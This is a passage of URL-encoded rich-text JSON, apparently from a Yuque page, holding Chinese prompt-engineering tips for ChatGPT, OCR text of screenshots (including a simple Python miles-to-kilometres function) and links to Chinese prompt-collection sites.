ZUAMZGWODC3NG--%26MID-2247492487%26IDX-18SN-E78CA3467E9274D8FE33000F64E71D32%26CHK%22%7D%2C%7B%22x%22%3A16.72164%2C%22y%22%3A111.10302%2C%22width%22%3A625.30003%2C%22height%22%3A14.53613%2C%22text%22%3A%22SM-FDALCLEOCAD64856B28249CH35C25165AFBO774DE2A8164D8B6660EA3A03B38246218CD7FD6%23RD%22%7D%5D%2C%22search%22%3A%22%E5%A4%8D%E5%88%B6%E9%87%8D%E8%AF%95%E5%88%A0%E9%99%A4%20%E6%88%90%E4%B8%BA%E6%9C%80%E5%8E%89%E5%AE%B3%E7%9A%84%E7%99%BD%E5%B8%BD%E9%BB%91%E5%AE%A2%2C%E9%9C%80%E8%A6%81%E7%BB%8F%E5%8E%86%E4%BB%80%E4%B9%88%3F-HTTP%3A%2F%2FMP.WEIXIN.QQ.COM%2FS%3F%20BIZ-MZUAMZGWODC3NG--%26MID-2247492487%26IDX-18SN-E78CA3467E9274D8FE33000F64E71D32%26CHK%20SM-FDALCLEOCAD64856B28249CH35C25165AFBO774DE2A8164D8B6660EA3A03B38246218CD7FD6%23RD%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23f8f7f7%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u22e3d3f9%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u662ffb08%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%224%E3%80%81%E5%85%88%E4%B8%8D%E6%8F%90%E4%BE%9B%E8%8C%83%E4%BE%8B%EF%BC%8C%E5%86%8D%E5%B0%9D%E8%AF%95%E7%BB%99%E5%87%BA%E8%8C%83%E4%BE%8B%EF%BC%8C%E7%84%B6%E5%90%8E%E6%A0%B9%E6%8D%AE%E8%BF%94%E5%9B%9E%E5%BE%AE%E8%B0%83%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u3c91b15f%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u813bdaff%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%225%E3%80%81%E5%87%8F%E5%B0%91%E4%B8%8D%E7%B2%BE%E7%A1%AE%E7%9A%84%E6%8F%8F%E8%BF%B0%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u4b780a7b%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u4180a7a4%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E6%AF%94%E8%B5%B7%E2%80%9C%E6%88%91%E6%83%B3%E8%A6%81%E4%B8%80%E6%AE%B5%E7%9F%AD%E5%B0%8F%E7%9A%84%E5%86%85%E5%AE%B9%E2%80%9D%EF%BC%8C%E6%9C%80%E5%A5%BD%E7%9B%B4%E6%8E%A5%E6%8C%87%E6%98%8E%E5%86%85%E5%AE%B9%E7%9A%84%E9%95%BF%E5%BA%A6%EF%BC%8C%E6%AF%94%E5%A6%82%E2%80%9C%E6%88%91%E6%83%B3%E8%A6%81%E4%B8%80%E6%AE%B5100%E5%AD%97%E5%B7%A6%E5%8F%B3%E7%9A%84%E5%86%85%E5%AE%B9%E2%80%9D%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u518ad0d2%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ud41f9f9c%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%226%E3%80%81%E4%B8%8E%E5%85%B6%E8%AF%B4%E4%BB%80%E4%B9%88%E4%B8%8D%E8%AF%A5%E5%81%9A%EF%BC%8C%E4%B8%8D%E5%A6%82%E8%AF%B4%E4%BB%80%E4%B9%88%E8%AF%A5%E5%81%9A%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u80390ceb%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u4c47153d%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%227%E3%80%81%E5%9C%A8%E6%83%B3%E8%A6%81%E7%94%9F%E6%88%90%E4%BB%A3%E7%A0%81%E7%9A%84%E6%97%B6%E5%80%99%EF%BC%8C%E4%BD%BF%E7%94%A8%E5%BC%95%E5%AF%BC%E8%AF%8D%E8%AE%A9%E6%A8%A1%E5%9E%8B%E5%90%91%E7%89%B9%E5%AE%9A%E7%9A%84%E6%A8%A1%E5%BC%8F%E5%8F%91%E5%B1%95%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u76a3fb9d%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u38e86e45%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%9C%A8openai%E7%9A%84%E8%8C%83%E4%BE%8B%E4%B8%AD%EF%BC%8C%E4%BB%96%E7%94%A8import%E4%BD%9C%E4%B8%BApython%E7%9A%84%E5%BC%95%E5%AF%BC%E8%AF%8D%EF%BC%8C%E7%94%A8select%E4%BD%9C%E4%B8%BAsql%E7%9A%84%E5%BC%95%E5%AF%BC%E8%AF%8D%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u1aac7431%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22IMWQF%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1682336508193-84fa5891-08c7-42a8-86e2-4b8c8c4c2d49.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A876%2C%22height%22%3A425%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A32059%2C%22width%22%3A796.3636191029198%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22ub9cd6ae5-7521-4edc-bcfc-8704a907b8f%22%2C%22clientId%22%3A%22udf60d6f4-671e-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A623.25%2C%22y%22%3A67.43742%2C%22width%22%3A233.37036%2C%22height%22%3A15.982349999999997%2C%22text%22%3A%22WRITE%20A%20SIMPLE%20PYTHON%20FUNCTION%20THAT%22%7D%2C%7B%22x%22%3A636.3014%2C%22y%22%3A106.338844%2C%22width%22%3A198.54095000000007%2C%22height%22%3A14.141366000000005%2C%22text%22%3A%221.ASK%20ME%20FOR%20A%20NUMBER%20IN%20MILE%22%7D%2C%7B%22x%22%3A635.8324%2C%22y%22%3A130.35712%2C%22width%22%3A213.31682999999998%2C%22height%22%3A14.456079999999986%2C%22text%22%3A%222.LT%20CONVERTS%20MILES%20TO%20KILOMETERS%22%7D%2C%7B%22x%22%3A622.8088%2C%22y%22%3A167.54105%2C%22width%22%3A47.39580000000001%2C%22height%22%3A13.642049999999983%2C%22text%22%3A%22IMPORT%22%7D%2C%7B%22x%22%3A22.029495%2C%22y%22%3A271.79266%2C%22width%22%3A640.713365%2C%22height%22%3A13.309390000000008%2C%22text%22%3A%22SURE%2CHERE&#39;S%20AN%20EXAMPLE%20PYTHON%20FUNCTION%20THAT%20ASKS%20THE%20USER%20FOR%20A%20NUMBER%20OFMILES%20AND%20CONVERTS%20ITTO%22%7D%2C%7B%22x%22%3A22.360329%2C%22y%22%3A292.53677%2C%22width%22%3A74.061721%2C%22height%22%3A13.507110000000011%2C%22text%22%3A%22KILOMETERS%3A%22%7D%2C%7B%22x%22%3A33.663105%2C%22y%22%3A338.6094%2C%22width%22%3A173.992445%2C%22height%22%3A13.903419999999983%2C%22text%22%3A%22DEF%20MILES_TO_KILOMETERS()%3A%22%7D%2C%7B%22x%22%3A395.71518%2C%22y%22%3A356.8719%2C%22width%22%3A14.03212000000002%2C%22height%22%3A14.229360000000042%2C%22text%22%3A%22((%22%7D%2C%7B%22x%22%3A58.834255%2C%22y%22%3A357.44595%2C%22width%22%3A327.907105%2C%22height%22%3A12.658180000000016%2C%22text%22%3A%22MILES%20FLOAT(INPUT(%5C%22ENTER%20THE%20DISTANCE%20IN%20MILES%3A%22%7D%2C%7B%22x%22%3A58.55553%2C%22y%22%3A374.50397%2C%22width%22%3A190.10688%2C%22height%22%3A13.985029999999995%2C%22text%22%3A%22%20KILOMETERS%20-%20MILES%20*%201.60934%22%7D%2C%7B%22x%22%3A58.913578%2C%22y%22%3A392.0916%2C%22width%22%3A426.51480200000003%2C%22height%22%3A14.605399999999975%2C%22text%22%3A%22PRINT(F%5C%22%7BMILES)%20MILES%20IS%20EQUAL%20TO%20%7BKILOMETERS%3A.2F)%20KILOMETERS.%5C%22)%22%7D%5D%2C%22search%22%3A%22WRITE%20A%20SIMPLE%20PYTHON%20FUNCTION%20THAT%201.ASK%20ME%20FOR%20A%20NUMBER%20IN%20MILE%202.LT%20CONVERTS%20MILES%20TO%20KILOMETERS%20IMPORT%20SURE%2CHERE&#39;S%20AN%20EXAMPLE%20PYTHON%20FUNCTION%20THAT%20ASKS%20THE%20USER%20FOR%20A%20NUMBER%20OFMILES%20AND%20CONVERTS%20ITTO%20KILOMETERS%3A%20DEF%20MILES_TO_KILOMETERS()%3A%20((%20MILES%20FLOAT(INPUT(%5C%22ENTER%20THE%20DISTANCE%20IN%20MILES%3A%20%20KILOMETERS%20-%20MILES%20*%201.60934%20PRINT(F%5C%22%7BMILES)%20MILES%20IS%20EQUAL%20TO%20%7BKILOMETERS%3A.2F)%20KILOMETERS.%5C%22)%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23c8a877%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uIRTQ%22%2C%22name%22%3A%22h1%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uaf978cfc%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22Prompt%20Engineering%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u2679c7ce%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u7c3ee88f%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%85%B6%E5%AE%9E%E7%9B%B8%E6%AF%94%E7%AE%80%E5%8D%95%E7%9A%84%E6%8F%90%E9%97%AE%E5%BC%8F%E5%9B%9E%E7%AD%94%EF%BC%8C%E7%8E%B0%E5%9C%A8%E7%9A%84Prompt%E7%9B%B8%E5%85%B3%E7%9A%84%E5%86%85%E5%AE%B9%E5%B7%B2%E7%BB%8F%E7%9B%B8%E5%BD%93%E6%88%90%E7%86%9F%E4%BA%86%EF%BC%8C%E6%AF%94%E5%A6%82github%E4%B8%8A%E7%8E%B0%E5%9C%A8%E6%9C%89%E5%BE%88%E5%A4%9A%E7%B1%BB%E4%BC%BC%E7%9A%84%E9%A1%B9%E7%9B%AE%EF%BC%8C%E6%95%B4%E7%90%86%E4%BA%86%E5%A4%A7%E9%87%8F%E7%9A%84%E7%BB%8F%E5%85%B8Prompt%E5%9C%BA%E6%99%AF%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u84bc1ff6%22%2C%22name%22%3A%22uli%22%2C%22attrs%22%3A%7B%22indexStyle%22%3A%7B%7D%2C%22list%22%3A%22u677f4b9f%22%2C%22fid%22%3A%22u00d089a3%22%2C%22indexType%22%3A0%2C%22parentIndex%22%3A%5B%5D%2C%22index%22%3A0%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22element%22%2C%22id%22%3A%22udb549762%22%2C%22name%22%3A%22link%22%2C%22attrs%22%3A%7B%22external%22%3Atrue%2C%22src%22%3A%22https%3A%2F%2Fgithub.com%2FPlexPt%2Fawesome-chatgpt-prompts-zh%22%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u59219415%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22https%3A%2F%2Fgithub.com%2FPlexPt%2Fawesome-chatgpt-prompts-zh%22%7D%5D%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uf9dddb35%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22u7e1577c8%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1682330697024-9acd30e6-0d0c-40a4-a96e-0f07ad3f6cec.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A1146%2C%22height%22%3A1051%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A349634%2C%22width%22%3A1041.8181592373815%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u59f63d8a-00a5-4d0b-979e-80325086653%22%2C%22clientId%22%3A%22udf60d6f4-671e-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A96.03141%2C%22y%22%3A20.862259%2C%22width%22%3A407.61001%2C%22height%22%3A42.640662999999996%2C%22text%22%3A%22CHATGPT%E4%B8%AD%E6%96%87%E8%B0%83%E6%95%99%E6%8C%87%E5%8D%97%22%7D%2C%7B%22x%22%3A108.29695%2C%22y%22%3A103.990776%2C%22width%22%3A52.73477000000001%2C%22height%22%3A13.577568%2C%22text%22%3A%22426835%22%7D%2C%7B%22x%22%3A48.23545%2C%22y%22%3A104.553085%2C%22width%22%3A50.51361%2C%22height%22%3A13.09266500000001%2C%22text%22%3A%22VISITORS%22%7D%2C%7B%22x%22%3A220.94835%2C%22y%22%3A105.52283%2C%22width%22%3A112.31081%2C%22height%22%3A12.776073999999994%2C%22text%22%3A%2215098%2F442726%22%7D%2C%7B%22x%22%3A179.98184%2C%22y%22%3A105.77586%2C%22width%22%3A25.094580000000008%2C%22height%22%3A12.293735000000012%2C%22text%22%3A%22HITS%22%7D%2C%7B%22x%22%3A40.61171%2C%22y%22%3A156.5173%2C%22width%22%3A690.93019%2C%22height%22%3A19.838899999999995%2C%22text%22%3A%22CHATGPT%E6%98%AF%E7%94%B1OPENAI%E8%AE%AD%E7%BB%83%E7%9A%84%E4%B8%80%E6%AC%BE%E5%A4%A7%E5%9E%8B%E8%AF%AD%E8%A8%80%E6%A8%A1%E5%9E%8B%2C%E8%83%BD%E5%A4%9F%E5%92%8C%E4%BD%A0%E8%BF%9B%E8%A1%8C%E4%BB%BB%E4%BD%95%E9%A2%86%E5%9F%9F%E7%9A%84%E5%AF%B9%E8%AF%9D.%22%7D%2C%7B%22x%22%3A41.420937%2C%22y%22%3A205.73798%2C%22width%22%3A99.82190299999999%2C%22height%22%3A20.83435%2C%22text%22%3A%22%E5%9B%BD%E5%86%85%E4%B8%AD%E6%96%87%E7%89%88%22%7D%2C%7B%22x%22%3A40.820015%2C%22y%22%3A255.69705%2C%22width%22%3A848.095585%2C%22height%22%3A21.55682999999999%2C%22text%22%3A%22%E5%AE%83%E8%83%BD%E5%A4%9F%E7%94%9F%E6%88%90%E7%B1%BB%E4%BC%BC%E4%BA%8E%E4%BA%BA%E7%B1%BB%E5%86%99%E4%BD%9C%E7%9A%84%E6%96%87%E6%9C%AC.%E6%82%A8%E5%8F%AA%E9%9C%80%E8%A6%81%E7%BB%99%E5%87%BA%E6%8F%90%E7%A4%BA%E6%88%96%E6%8F%90%E5%87%BA%E9%97%AE%E9%A2%98%2C%E5%AE%83%E5%B0%B1%E5%8F%AF%E4%BB%A5%E7%94%9F%E6%88%90%E4%BD%A0%E6%83%B3%E8%A6%81%E7%9A%84%E4%B8%9C%E8%A5%BF.%22%7D%2C%7B%22x%22%3A38.625107%2C%22y%22%3A304.68927%2C%22width%22%3A517.085993%2C%22height%22%3A23.50930999999997%2C%22text%22%3A%22%E5%9C%A8%E6%AD%A4%E9%A1%B5%E9%9D%A2%E4%B8%AD%2C%E6%82%A8%E5%B0%86%E6%89%BE%E5%88%B0%E5%8F%AF%E4%B8%8ECHATGPT%E4%B8%80%E8%B5%B7%E4%BD%BF%E7%94%A8%E7%9A%84%E5%90%84%E7%A7%8D%E6%8F%90%E7%A4%BA.%22%7D%2C%7B%22x%22%3A39.923454%2C%22y%22%3A355.21277%2C%22width%22%3A399.843546%2C%22height%22%3A23.840880000000027%2C%22text%22%3A%22%E5%8F%AA%E9%9C%80%E6%8C%89%E7%85%A7README.MD%E6%96%87%E4%BB%B6%E4%B8%AD%E7%9A%84%E6%8F%90%E7%A4%BA%E8%BE%93%E5%85%A5%E5%8D%B3%E5%8F%AF.%22%7D%2C%7B%22x%22%3A371.89694%2C%22y%22%3A913.2136%2C%22width%22%3A363.6549600000001%2C%22height%22%3A20.95393999999999%2C%22text%22%3A%22%E6%9C%ACLOGO%E6%98%AF%E7%94%B1%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD%E7%94%9F%E6%88%90%E7%9A%84%2C%E9%9D%9E%E5%B8%B8%E9%85%B7%E7%82%AB!%22%7D%2C%7B%22x%22%3A39.972775%2C%22y%22%3A962.4209%2C%22width%22%3A435.573065%2C%22height%22%3A23.33260000000007%2C%22text%22%3A%22%E7%82%B9%E5%87%BB%E8%BF%99%E9%87%8C%E5%8F%AF%E4%BB%A5%E5%B0%86%E6%82%A8%E8%87%AA%E5%B7%B1%E7%9A%84%E8%B0%83%E6%95%99%E6%8C%87%E5%8D%97%E6%B7%BB%E5%8A%A0%E5%88%B0%E5%88%97%E8%A1%A8%E4%B8%AD.%22%7D%2C%7B%22x%22%3A40.429966%2C%22y%22%3A1012.5613%2C%22width%22%3A546.956204%2C%22height%22%3A22.13490000000013%2C%22text%22%3A%22%E5%90%8C%E6%97%B6%E6%82%A8%E4%B9%9F%E5%8F%AF%E4%BB%A5%E4%BB%8E%E8%BF%99%E4%B8%AA%E6%96%87%E4%BB%B6%E4%B8%AD%E8%8E%B7%E5%8F%96%E5%88%9B%E4%BD%9C%E7%81%B5%E6%84%9F%E6%9D%A5%E5%88%9B%E5%BB%BA%E6%82%A8%E8%87%AA%E5%B7%B1%E7%9A%84%E6%8F%90%E7%A4%BA.%22%7D%5D%2C%22search%22%3A%22CHATGPT%E4%B8%AD%E6%96%87%E8%B0%83%E6%95%99%E6%8C%87%E5%8D%97%20426835%20VISITORS%2015098%2F442726%20HITS%20CHATGPT%E6%98%AF%E7%94%B1OPENAI%E8%AE%AD%E7%BB%83%E7%9A%84%E4%B8%80%E6%AC%BE%E5%A4%A7%E5%9E%8B%E8%AF%AD%E8%A8%80%E6%A8%A1%E5%9E%8B%2C%E8%83%BD%E5%A4%9F%E5%92%8C%E4%BD%A0%E8%BF%9B%E8%A1%8C%E4%BB%BB%E4%BD%95%E9%A2%86%E5%9F%9F%E7%9A%84%E5%AF%B9%E8%AF%9D.%20%E5%9B%BD%E5%86%85%E4%B8%AD%E6%96%87%E7%89%88%20%E5%AE%83%E8%83%BD%E5%A4%9F%E7%94%9F%E6%88%90%E7%B1%BB%E4%BC%BC%E4%BA%8E%E4%BA%BA%E7%B1%BB%E5%86%99%E4%BD%9C%E7%9A%84%E6%96%87%E6%9C%AC.%E6%82%A8%E5%8F%AA%E9%9C%80%E8%A6%81%E7%BB%99%E5%87%BA%E6%8F%90%E7%A4%BA%E6%88%96%E6%8F%90%E5%87%BA%E9%97%AE%E9%A2%98%2C%E5%AE%83%E5%B0%B1%E5%8F%AF%E4%BB%A5%E7%94%9F%E6%88%90%E4%BD%A0%E6%83%B3%E8%A6%81%E7%9A%84%E4%B8%9C%E8%A5%BF.%20%E5%9C%A8%E6%AD%A4%E9%A1%B5%E9%9D%A2%E4%B8%AD%2C%E6%82%A8%E5%B0%86%E6%89%BE%E5%88%B0%E5%8F%AF%E4%B8%8ECHATGPT%E4%B8%80%E8%B5%B7%E4%BD%BF%E7%94%A8%E7%9A%84%E5%90%84%E7%A7%8D%E6%8F%90%E7%A4%BA.%20%E5%8F%AA%E9%9C%80%E6%8C%89%E7%85%A7README.MD%E6%96%87%E4%BB%B6%E4%B8%AD%E7%9A%84%E6%8F%90%E7%A4%BA%E8%BE%93%E5%85%A5%E5%8D%B3%E5%8F%AF.%20%E6%9C%ACLOGO%E6%98%AF%E7%94%B1%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD%E7%94%9F%E6%88%90%E7%9A%84%2C%E9%9D%9E%E5%B8%B8%E9%85%B7%E7%82%AB!%20%E7%82%B9%E5%87%BB%E8%BF%99%E9%87%8C%E5%8F%AF%E4%BB%A5%E5%B0%86%E6%82%A8%E8%87%AA%E5%B7%B1%E7%9A%84%E8%B0%83%E6%95%99%E6%8C%87%E5%8D%97%E6%B7%BB%E5%8A%A0%E5%88%B0%E5%88%97%E8%A1%A8%E4%B8%AD.%20%E5%90%8C%E6%97%B6%E6%82%A8%E4%B9%9F%E5%8F%AF%E4%BB%A5%E4%BB%8E%E8%BF%99%E4%B8%AA%E6%96%87%E4%BB%B6%E4%B8%AD%E8%8E%B7%E5%8F%96%E5%88%9B%E4%BD%9C%E7%81%B5%E6%84%9F%E6%9D%A5%E5%88%9B%E5%BB%BA%E6%82%A8%E8%87%AA%E5%B7%B1%E7%9A%84%E6%8F%90%E7%A4%BA.%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23f3edea%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ueefbeb9d%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u5861d80c%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E7%94%9A%E8%87%B3%E5%B7%B2%E7%BB%8F%E6%9C%89%E7%9B%B8%E5%BD%93%E6%88%90%E7%86%9F%E7%9A%84%E7%BD%91%E7%AB%99%E5%88%86%E4%BA%AB%E7%9B%B8%E5%85%B3%E7%9A%84%E4%BF%A1%E6%81%AF%22%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ua49da424%22%2C%22name%22%3A%22link%22%2C%22attrs%22%3A%7B%22external%22%3Atrue%2C%22src%22%3A%22https%3A%2F%2Fwww.explainthis.io%2Fzh-hant%2Fchatgpt%22%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u4cfdf91f%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22https%3A%2F%2Fwww.explainthis.io%2Fzh-hant%2Fchatgpt%22%7D%5D%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u99e6f740%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22u0ee76e7b%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1682330837035-e1076564-a3ef-4698-9234-dca0502fe00d.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A1566%2C%22height%22%3A970%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A148679%2C%22width%22%3A1423.6363327798772%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22uacdc5b8b-ea1b-4650-b5d7-3d189f15db8%22%2C%22clientId%22%3A%22udf60d6f4-671e-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A579.3388%2C%22y%22%3A26.790155%2C%22width%22%3A379.5485%2C%22height%22%3A52.134705%2C%22text%22%3A%22CHATGPT%E6%8C%87%E4%BB%A4%E5%A4%A7%E5%85%A8%22%7D%2C%7B%22x%22%3A482.91467%2C%22y%22%3A106.45077%2C%22width%22%3A569.30343%2C%22height%22%3A22.756110000000007%2C%22text%22%3A%22%E6%9C%AC%E7%AB%99%E6%98%AF%E4%BE%9B%E6%95%B0%E7%99%BE%E4%B8%AA%E7%B2%BE%E7%82%BC%E9%80%9A%E7%9A%84%E6%8C%87%E4%BB%A4%E8%AF%AD%E5%8F%A5(%E6%8F%90%E7%A4%BA%E8%AF%8D)%2C%E8%AF%B7%E4%BD%A0%E5%85%85%E5%88%86%E5%8F%91%E6%8B%A9CHATGPT%E7%9A%84%E5%BC%BA%E5%A4%A7%E5%8A%9F%E8%83%BD%22%7D%2C%7B%22x%22%3A631.80756%2C%22y%22%3A172.87029%2C%22width%22%3A85.65084000000002%2C%22height%22%3A16.682549999999992%2C%22text%22%3A%22%E4%BA%86%E8%A7%A3%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8%22%7D%2C%7B%22x%22%3A800.0605%2C%22y%22%3A174.77815%2C%22width%22%3A75.62113999999997%2C%22height%22%3A14.730009999999993%2C%22text%22%3A%22%E5%BA%94%E7%94%A8%E5%9B%A0%E6%95%99%E5%AD%A6%22%7D%2C%7B%22x%22%3A280.78043%2C%22y%22%3A300.3982%2C%22width%22%3A64.80446999999998%2C%22height%22%3A20.047330000000045%2C%22text%22%3A%22%E8%B5%84%E6%96%99%E6%95%B4%E7%90%86%22%7D%2C%7B%22x%22%3A1077.1029%2C%22y%22%3A301.08466%2C%22width%22%3A81.27159999999981%2C%22height%22%3A20.308140000000037%2C%22text%22%3A%22%E5%B7%A5%E4%BD%9C%E7%94%9F%E4%BA%A7%E5%8A%9B%22%7D%2C%7B%22x%22%3A67.11759%2C%22y%22%3A301.849%2C%22width%22%3A36.46755399999999%2C%22height%22%3A19.191700000000026%2C%22text%22%3A%22%E5%85%A8%E9%83%A8%22%7D%2C%7B%22x%22%3A1351.9934%2C%22y%22%3A301.84854%2C%22width%22%3A66.22180000000003%2C%22height%22%3A19.82180999999997%2C%22text%22%3A%22%E7%A4%BE%E7%BE%A4%E5%AA%92%E4%BD%93%22%7D%2C%7B%22x%22%3A685.87573%2C%22y%22%3A301.80524%2C%22width%22%3A64.83501999999999%2C%22height%22%3A18.64445999999998%2C%22text%22%3A%22%E7%A8%8B%E5%BC%8F%E5%BC%80%E5%8F%91%22%7D%2C%7B%22x%22%3A947.30365%2C%22y%22%3A302.0592%2C%22width%22%3A63.97035000000005%2C%22height%22%3A18.63480000000004%2C%22text%22%3A%22%E8%8B%B1%E8%AF%AD%E7%BF%A0%E6%99%8B%22%7D%2C%7B%22x%22%3A556.4126%2C%22y%22%3A302.16754%2C%22width%22%3A66.02170000000001%2C%22height%22%3A18.37056000000001%2C%22text%22%3A%22%E5%87%86%E5%A4%87%E9%9D%A2%E8%AF%95%22%7D%2C%7B%22x%22%3A411.0149%2C%22y%22%3A302.1805%2C%22width%22%3A81.15697999999998%2C%22height%22%3A19.507920000000013%2C%22text%22%3A%22%E5%B1%A5%E5%8E%86%E4%B8%8E%E8%87%AA%E5%82%85%22%7D%2C%7B%22x%22%3A1221.9673%2C%22y%22%3A301.46924%2C%22width%22%3A65.14989999999989%2C%22height%22%3A19.821379999999976%2C%22text%22%3A%22%E5%AF%A1%E4%BD%9C%E8%8C%97%E6%89%8B%22%7D%2C%7B%22x%22%3A817.0176%2C%22y%22%3A302.2402%2C%22width%22%3A64.79526999999996%2C%22height%22%3A18.3313%2C%22text%22%3A%22%E7%9F%A5%E8%97%8F%E5%AD%A6%E4%B9%A0%22%7D%2C%7B%22x%22%3A165.42735%2C%22y%22%3A302.6034%2C%22width%22%3A50.59345000000002%2C%22height%22%3A18.60419999999999%2C%22text%22%3A%